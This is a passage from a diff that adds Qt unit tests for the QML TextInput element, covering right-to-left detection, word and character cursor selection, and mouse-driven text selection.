+ QCOMPARE(textInput.isRightToLeft(text.count()/2, text.count()/2 + 1), text.mid(text.count()/2, text.count()/2 + 1).isRightToLeft());
+ QCOMPARE(textInput.isRightToLeft(0,text.count()/4), text.mid(0,text.count()/4).isRightToLeft());
+ QCOMPARE(textInput.isRightToLeft(text.count()/4,3*text.count()/4), text.mid(text.count()/4,3*text.count()/4).isRightToLeft());
+ if (text.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML TextInput: isRightToLeft(start, end) called with the end property being smaller than the start.");
+ QCOMPARE(textInput.isRightToLeft(3*text.count()/4,text.count()-1), text.mid(3*text.count()/4,text.count()-1).isRightToLeft());
+
+ // then test that the feature actually works
+ QCOMPARE(textInput.isRightToLeft(0,0), emptyString);
+ QCOMPARE(textInput.isRightToLeft(0,1), firstCharacter);
+ QCOMPARE(textInput.isRightToLeft(text.count()-2, text.count()-1), lastCharacter);
+ QCOMPARE(textInput.isRightToLeft(text.count()/2, text.count()/2 + 1), middleCharacter);
+ QCOMPARE(textInput.isRightToLeft(0,text.count()/4), startString);
+ QCOMPARE(textInput.isRightToLeft(text.count()/4,3*text.count()/4), midString);
+ if (text.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML TextInput: isRightToLeft(start, end) called with the end property being smaller than the start.");
+ QCOMPARE(textInput.isRightToLeft(3*text.count()/4,text.count()-1), endString);
+}
+
+void tst_qdeclarativetextinput::moveCursorSelection_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition");
+ QTest::addColumn<QDeclarativeTextInput::SelectionMode>("mode");
+ QTest::addColumn<int>("selectionStart");
+ QTest::addColumn<int>("selectionEnd");
+ QTest::addColumn<bool>("reversible");
+
+ // () contains the text selected by the cursor.
+ // <> contains the actual selection.
+
+ QTest::newRow("(t)he|characters")
+ << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectCharacters << 0 << 1 << true;
+ QTest::newRow("do(g)|characters")
+ << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectCharacters << 43 << 44 << true;
+ QTest::newRow("jum(p)ed|characters")
+ << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectCharacters << 23 << 24 << true;
+ QTest::newRow("jumped( )over|characters")
+ << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectCharacters << 26 << 27 << true;
+ QTest::newRow("(the )|characters")
+ << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectCharacters << 0 << 4 << true;
+ QTest::newRow("( dog)|characters")
+ << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectCharacters << 40 << 44 << true;
+ QTest::newRow("( jumped )|characters")
+ << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectCharacters << 19 << 27 << true;
+ QTest::newRow("th(e qu)ick|characters")
+ << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectCharacters << 2 << 6 << true;
+ QTest::newRow("la(zy d)og|characters")
+ << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectCharacters << 38 << 42 << true;
+ QTest::newRow("jum(ped ov)er|characters")
+ << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectCharacters << 23 << 29 << true;
+ QTest::newRow("()the|characters")
+ << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectCharacters << 0 << 0 << true;
+ QTest::newRow("dog()|characters")
+ << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectCharacters << 44 << 44 << true;
+ QTest::newRow("jum()ped|characters")
+ << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectCharacters << 23 << 23 << true;
+
+ QTest::newRow("<(t)he>|words")
+ << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 3 << true;
+ QTest::newRow("<do(g)>|words")
+ << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectWords << 41 << 44 << true;
+ QTest::newRow("<jum(p)ed>|words")
+ << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectWords << 20 << 26 << true;
+ QTest::newRow("<jumped( )>over|words,ltr")
+ << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectWords << 20 << 27 << false;
+ QTest::newRow("jumped<( )over>|words,rtl")
+ << standard[0] << 27 << 26 << QDeclarativeTextInput::SelectWords << 26 << 31 << false;
+ QTest::newRow("<(the )>quick|words,ltr")
+ << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectWords << 0 << 4 << false;
+ QTest::newRow("<(the )quick>|words,rtl")
+ << standard[0] << 4 << 0 << QDeclarativeTextInput::SelectWords << 0 << 9 << false;
+ QTest::newRow("<lazy( dog)>|words,ltr")
+ << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectWords << 36 << 44 << false;
+ QTest::newRow("lazy<( dog)>|words,rtl")
+ << standard[0] << 44 << 40 << QDeclarativeTextInput::SelectWords << 40 << 44 << false;
+ QTest::newRow("<fox( jumped )>over|words,ltr")
+ << standard[0] << 19 << 27 << QDeclarativeTextInput::SelectWords << 16 << 27 << false;
+ QTest::newRow("fox<( jumped )over>|words,rtl")
+ << standard[0] << 27 << 19 << QDeclarativeTextInput::SelectWords << 19 << 31 << false;
+ QTest::newRow("<th(e qu)ick>|words")
+ << standard[0] << 2 << 6 << QDeclarativeTextInput::SelectWords << 0 << 9 << true;
+ QTest::newRow("<la(zy d)og|words>")
+ << standard[0] << 38 << 42 << QDeclarativeTextInput::SelectWords << 36 << 44 << true;
+ QTest::newRow("<jum(ped ov)er>|words")
+ << standard[0] << 23 << 29 << QDeclarativeTextInput::SelectWords << 20 << 31 << true;
+ QTest::newRow("<()>the|words")
+ << standard[0] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
+ QTest::newRow("dog<()>|words")
+ << standard[0] << 44 << 44 << QDeclarativeTextInput::SelectWords << 44 << 44 << true;
+ QTest::newRow("jum<()>ped|words")
+ << standard[0] << 23 << 23 << QDeclarativeTextInput::SelectWords << 23 << 23 << true;
+
+ QTest::newRow("Hello<(,)> |words")
+ << standard[2] << 5 << 6 << QDeclarativeTextInput::SelectWords << 5 << 6 << true;
+ QTest::newRow("Hello<(, )>world|words,ltr")
+ << standard[2] << 5 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello<(, )world>|words,rtl")
+ << standard[2] << 7 << 5 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
+ QTest::newRow("<Hel(lo, )>world|words,ltr")
+ << standard[2] << 3 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+ QTest::newRow("<Hel(lo, )world>|words,rtl")
+ << standard[2] << 7 << 3 << QDeclarativeTextInput::SelectWords << 0 << 12 << false;
+ QTest::newRow("<Hel(lo)>,|words")
+ << standard[2] << 3 << 5 << QDeclarativeTextInput::SelectWords << 0 << 5 << true;
+ QTest::newRow("Hello<()>,|words")
+ << standard[2] << 5 << 5 << QDeclarativeTextInput::SelectWords << 5 << 5 << true;
+ QTest::newRow("Hello,<()>|words")
+ << standard[2] << 6 << 6 << QDeclarativeTextInput::SelectWords << 6 << 6 << true;
+ QTest::newRow("Hello<,( )>world|words,ltr")
+ << standard[2] << 6 << 7 << QDeclarativeTextInput::SelectWords << 5 << 7 << false;
+ QTest::newRow("Hello,<( )world>|words,rtl")
+ << standard[2] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world)>|words,ltr")
+ << standard[2] << 6 << 12 << QDeclarativeTextInput::SelectWords << 5 << 12 << false;
+ QTest::newRow("Hello,<( world)>|words,rtl")
+ << standard[2] << 12 << 6 << QDeclarativeTextInput::SelectWords << 6 << 12 << false;
+ QTest::newRow("Hello<,( world!)>|words,ltr")
+ << standard[2] << 6 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << false;
+ QTest::newRow("Hello,<( world!)>|words,rtl")
+ << standard[2] << 13 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
+ QTest::newRow("Hello<(, world!)>|words")
+ << standard[2] << 5 << 13 << QDeclarativeTextInput::SelectWords << 5 << 13 << true;
+ QTest::newRow("world<(!)>|words")
+ << standard[2] << 12 << 13 << QDeclarativeTextInput::SelectWords << 12 << 13 << true;
+ QTest::newRow("world!<()>)|words")
+ << standard[2] << 13 << 13 << QDeclarativeTextInput::SelectWords << 13 << 13 << true;
+ QTest::newRow("world<()>!)|words")
+ << standard[2] << 12 << 12 << QDeclarativeTextInput::SelectWords << 12 << 12 << true;
+
+ QTest::newRow("<(,)>olleH |words")
+ << standard[3] << 7 << 8 << QDeclarativeTextInput::SelectWords << 7 << 8 << true;
+ QTest::newRow("<dlrow( ,)>olleH|words,ltr")
+ << standard[3] << 6 << 8 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
+ QTest::newRow("dlrow<( ,)>olleH|words,rtl")
+ << standard[3] << 8 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
+ QTest::newRow("<dlrow( ,ol)leH>|words,ltr")
+ << standard[3] << 6 << 10 << QDeclarativeTextInput::SelectWords << 1 << 13 << false;
+ QTest::newRow("dlrow<( ,ol)leH>|words,rtl")
+ << standard[3] << 10 << 6 << QDeclarativeTextInput::SelectWords << 6 << 13 << false;
+ QTest::newRow(",<(ol)leH>,|words")
+ << standard[3] << 8 << 10 << QDeclarativeTextInput::SelectWords << 8 << 13 << true;
+ QTest::newRow(",<()>olleH|words")
+ << standard[3] << 8 << 8 << QDeclarativeTextInput::SelectWords << 8 << 8 << true;
+ QTest::newRow("<()>,olleH|words")
+ << standard[3] << 7 << 7 << QDeclarativeTextInput::SelectWords << 7 << 7 << true;
+ QTest::newRow("<dlrow( )>,olleH|words,ltr")
+ << standard[3] << 6 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
+ QTest::newRow("dlrow<( ),>olleH|words,rtl")
+ << standard[3] << 7 << 6 << QDeclarativeTextInput::SelectWords << 6 << 8 << false;
+ QTest::newRow("<(dlrow )>,olleH|words,ltr")
+ << standard[3] << 1 << 7 << QDeclarativeTextInput::SelectWords << 1 << 7 << false;
+ QTest::newRow("<(dlrow ),>olleH|words,rtl")
+ << standard[3] << 7 << 1 << QDeclarativeTextInput::SelectWords << 1 << 8 << false;
+ QTest::newRow("<(!dlrow )>,olleH|words,ltr")
+ << standard[3] << 0 << 7 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+ QTest::newRow("<(!dlrow ),>olleH|words,rtl")
+ << standard[3] << 7 << 0 << QDeclarativeTextInput::SelectWords << 0 << 8 << false;
+ QTest::newRow("(!dlrow ,)olleH|words")
+ << standard[3] << 0 << 8 << QDeclarativeTextInput::SelectWords << 0 << 8 << true;
+ QTest::newRow("<(!)>dlrow|words")
+ << standard[3] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << true;
+ QTest::newRow("<()>!dlrow|words")
+ << standard[3] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << true;
+ QTest::newRow("!<()>dlrow|words")
+ << standard[3] << 1 << 1 << QDeclarativeTextInput::SelectWords << 1 << 1 << true;
+
+ QTest::newRow(" <s(pac)ey> text |words")
+ << standard[4] << 1 << 4 << QDeclarativeTextInput::SelectWords << 1 << 7 << true;
+ QTest::newRow(" spacey <t(ex)t> |words")
+ << standard[4] << 11 << 13 << QDeclarativeTextInput::SelectWords << 10 << 14 << true;
+ QTest::newRow("<( )>spacey text |words|ltr")
+ << standard[4] << 0 << 1 << QDeclarativeTextInput::SelectWords << 0 << 1 << false;
+ QTest::newRow("<( )spacey> text |words|rtl")
+ << standard[4] << 1 << 0 << QDeclarativeTextInput::SelectWords << 0 << 7 << false;
+ QTest::newRow("spacey <text( )>|words|ltr")
+ << standard[4] << 14 << 15 << QDeclarativeTextInput::SelectWords << 10 << 15 << false;
+ QTest::newRow("spacey text<( )>|words|rtl")
+ << standard[4] << 15 << 14 << QDeclarativeTextInput::SelectWords << 14 << 15 << false;
+ QTest::newRow("<()> spacey text |words")
+ << standard[4] << 0 << 0 << QDeclarativeTextInput::SelectWords << 0 << 0 << false;
+ QTest::newRow(" spacey text <()>|words")
+ << standard[4] << 15 << 15 << QDeclarativeTextInput::SelectWords << 15 << 15 << false;
+}
+
+void tst_qdeclarativetextinput::moveCursorSelection()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition);
+ QFETCH(QDeclarativeTextInput::SelectionMode, mode);
+ QFETCH(int, selectionStart);
+ QFETCH(int, selectionEnd);
+ QFETCH(bool, reversible);
+
+ QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+
+ textinputObject->setCursorPosition(cursorPosition);
+ textinputObject->moveCursorSelection(movePosition, mode);
+
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(textinputObject->selectionStart(), selectionStart);
+ QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
+
+ if (reversible) {
+ textinputObject->setCursorPosition(movePosition);
+ textinputObject->moveCursorSelection(cursorPosition, mode);
+
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
+ QCOMPARE(textinputObject->selectionStart(), selectionStart);
+ QCOMPARE(textinputObject->selectionEnd(), selectionEnd);
+ }
+}
+
+void tst_qdeclarativetextinput::moveCursorSelectionSequence_data()
+{
+ QTest::addColumn<QString>("testStr");
+ QTest::addColumn<int>("cursorPosition");
+ QTest::addColumn<int>("movePosition1");
+ QTest::addColumn<int>("movePosition2");
+ QTest::addColumn<int>("selection1Start");
+ QTest::addColumn<int>("selection1End");
+ QTest::addColumn<int>("selection2Start");
+ QTest::addColumn<int>("selection2End");
+
+ // () contains the text selected by the cursor.
+ // <> contains the actual selection.
+ // ^ is the revised cursor position.
+ // {} contains the revised selection.
+
+ QTest::newRow("the {<quick( bro)wn> f^ox} jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 17
+ << 4 << 15
+ << 4 << 19;
+ QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 17
+ << 9 << 15
+ << 10 << 19;
+ QTest::newRow("the {<quick( bro)wn> ^}fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 16
+ << 4 << 15
+ << 4 << 16;
+ QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 16
+ << 9 << 15
+ << 10 << 16;
+ QTest::newRow("the {<quick( bro)wn^>} fox jumped|ltr")
+ << standard[0]
+ << 9 << 13 << 15
+ << 4 << 15
+ << 4 << 15;
+ QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
+ << standard[0]
+ << 13 << 9 << 15
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick() ^}bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 10
+ << 4 << 15
+ << 4 << 10;
+ QTest::newRow("the quick<( {^bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 10
+ << 9 << 15
+ << 10 << 15;
+ QTest::newRow("the {<quick^}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 9
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
+ << standard[0]
+ << 13 << 9 << 9
+ << 9 << 15
+ << 9 << 15;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 7
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<qui^ck}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 7
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 4
+ << 4 << 15
+ << 4 << 9;
+ QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 4
+ << 9 << 15
+ << 4 << 15;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 3
+ << 4 << 15
+ << 3 << 9;
+ QTest::newRow("the{^ <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 3
+ << 9 << 15
+ << 3 << 15;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|ltr")
+ << standard[0]
+ << 9 << 13 << 1
+ << 4 << 15
+ << 0 << 9;
+ QTest::newRow("{t^he <quick}( bro)wn> fox|rtl")
+ << standard[0]
+ << 13 << 9 << 1
+ << 9 << 15
+ << 0 << 15;
+
+ QTest::newRow("{<He(ll)o>, w^orld}!|ltr")
+ << standard[2]
+ << 2 << 4 << 8
+ << 0 << 5
+ << 0 << 12;
+ QTest::newRow("{<He(ll)o>, w^orld}!|rtl")
+ << standard[2]
+ << 4 << 2 << 8
+ << 0 << 5
+ << 0 << 12;
+
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|ltr")
+ << standard[3]
+ << 9 << 11 << 5
+ << 8 << 13
+ << 1 << 13;
+ QTest::newRow("!{dlro^w ,<o(ll)eH>}|rtl")
+ << standard[3]
+ << 11 << 9 << 5
+ << 8 << 13
+ << 1 << 13;
+
+ QTest::newRow("{<(^} sp)acey> text |ltr")
+ << standard[4]
+ << 0 << 3 << 0
+ << 0 << 7
+ << 0 << 0;
+ QTest::newRow("{<( ^}sp)acey> text |ltr")
+ << standard[4]
+ << 0 << 3 << 1
+ << 0 << 7
+ << 0 << 1;
+ QTest::newRow("<( {s^p)acey>} text |rtl")
+ << standard[4]
+ << 3 << 0 << 2
+ << 0 << 7
+ << 1 << 7;
+ QTest::newRow("<( {^sp)acey>} text |rtl")
+ << standard[4]
+ << 3 << 0 << 1
+ << 0 << 7
+ << 1 << 7;
+
+ QTest::newRow(" spacey <te(xt {^)>}|rtl")
+ << standard[4]
+ << 15 << 12 << 15
+ << 10 << 15
+ << 15 << 15;
+ QTest::newRow(" spacey <te(xt{^ )>}|rtl")
+ << standard[4]
+ << 15 << 12 << 14
+ << 10 << 15
+ << 14 << 15;
+ QTest::newRow(" spacey {<te(x^t} )>|ltr")
+ << standard[4]
+ << 12 << 15 << 13
+ << 10 << 15
+ << 10 << 14;
+ QTest::newRow(" spacey {<te(xt^} )>|ltr")
+ << standard[4]
+ << 12 << 15 << 14
+ << 10 << 15
+ << 10 << 14;
+}
+
+void tst_qdeclarativetextinput::moveCursorSelectionSequence()
+{
+ QFETCH(QString, testStr);
+ QFETCH(int, cursorPosition);
+ QFETCH(int, movePosition1);
+ QFETCH(int, movePosition2);
+ QFETCH(int, selection1Start);
+ QFETCH(int, selection1End);
+ QFETCH(int, selection2Start);
+ QFETCH(int, selection2End);
+
+ QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }";
+ QDeclarativeComponent textinputComponent(&engine);
+ textinputComponent.setData(componentStr.toLatin1(), QUrl());
+ QDeclarativeTextInput *textinputObject = qobject_cast<QDeclarativeTextInput*>(textinputComponent.create());
+ QVERIFY(textinputObject != 0);
+
+ textinputObject->setCursorPosition(cursorPosition);
+
+ textinputObject->moveCursorSelection(movePosition1, QDeclarativeTextInput::SelectWords);
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
+ QCOMPARE(textinputObject->selectionStart(), selection1Start);
+ QCOMPARE(textinputObject->selectionEnd(), selection1End);
+
+ textinputObject->moveCursorSelection(movePosition2, QDeclarativeTextInput::SelectWords);
+ QCOMPARE(textinputObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
+ QCOMPARE(textinputObject->selectionStart(), selection2Start);
+ QCOMPARE(textinputObject->selectionEnd(), selection2End);
+}
+
+void tst_qdeclarativetextinput::mouseSelection_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<bool>("expectSelection");
+
+ // import installed
+ QTest::newRow("on") << SRCDIR "/data/mouseselection_true.qml" << true;
+ QTest::newRow("off") << SRCDIR "/data/mouseselection_false.qml" << false;
+ QTest::newRow("default") << SRCDIR "/data/mouseselection_default.qml" << false;
+ QTest::newRow("on word selection") << SRCDIR "/data/mouseselection_true_words.qml" << true;
+ QTest::newRow("off word selection") << SRCDIR "/data/mouseselection_false_words.qml" << false;
+ QTest::newRow("on read only") << SRCDIR "/data/mouseselection_true_readonly.qml" << true;
+ QTest::newRow("off read only") << SRCDIR "/data/mouseselection_false_readonly.qml" << false;
+}
+
+void tst_qdeclarativetextinput::mouseSelection()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(bool, expectSelection);
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str = textInputObject->selectedText();
+ if (expectSelection)
+ QVERIFY(str.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform)
+ else
+ QVERIFY(str.isEmpty());
+
+ // Clicking and shift to clicking between the same points should select the same text.
+ textInputObject->setCursorPosition(0);
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::NoModifier, canvas->mapFromScene(QPoint(x1,y)));
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::ShiftModifier, canvas->mapFromScene(QPoint(x2,y)));
+ QCOMPARE(textInputObject->selectedText(), str);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::deferEnableSelectByMouse_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+
+ QTest::newRow("writable") << SRCDIR "/data/mouseselection_false.qml";
+ QTest::newRow("read only") << SRCDIR "/data/mouseselection_false_readonly.qml";
+}
+
+void tst_qdeclarativetextinput::deferEnableSelectByMouse()
+{
+ // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed.
+ QFETCH(QString, qmlfile);
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ textInputObject->setSelectByMouse(true);
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QVERIFY(textInputObject->selectedText().isEmpty());
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::deferDisableSelectByMouse_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+
+ QTest::newRow("writable") << SRCDIR "/data/mouseselection_true.qml";
+ QTest::newRow("read only") << SRCDIR "/data/mouseselection_true_readonly.qml";
+}
+
+void tst_qdeclarativetextinput::deferDisableSelectByMouse()
+{
+ // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed.
+ QFETCH(QString, qmlfile);
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ textInputObject->setSelectByMouse(false);
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QVERIFY(textInputObject->selectedText().length() > 3);
+
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::dragMouseSelection()
+{
+ QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+
+ QString str1 = textInputObject->selectedText();
+ QVERIFY(str1.length() > 3);
+
+ // press and drag the current selection.
+ x1 = 40;
+ x2 = 100;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str2 = textInputObject->selectedText();
+ QVERIFY(str2.length() > 3);
+
+ QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
+ delete canvas;
+}
+
+void tst_qdeclarativetextinput::mouseSelectionMode_data()
+{
+ QTest::addColumn<QString>("qmlfile");
+ QTest::addColumn<bool>("selectWords");
+
+ // import installed
+ QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
+ QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
+ QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
+}
+
+void tst_qdeclarativetextinput::mouseSelectionMode()
+{
+ QFETCH(QString, qmlfile);
+ QFETCH(bool, selectWords);
+
+ QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ QDeclarativeView *canvas = createView(qmlfile);
+
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QVERIFY(canvas->rootObject() != 0);
+ QDeclarativeTextInput *textInputObject = qobject_cast<QDeclarativeTextInput *>(canvas->rootObject());
+ QVERIFY(textInputObject != 0);
+
+ // press-and-drag-and-release from x1 to x2
+ int x1 = 10;
+ int x2 = 70;
+ int y = textInputObject->height()/2;
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+ //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+ QString str = textInputObject->selectedText();
+ if (selectWords) {
+ QCOMPARE(str, text);
+ } else {
+ QVERIFY(str.length() > 3);
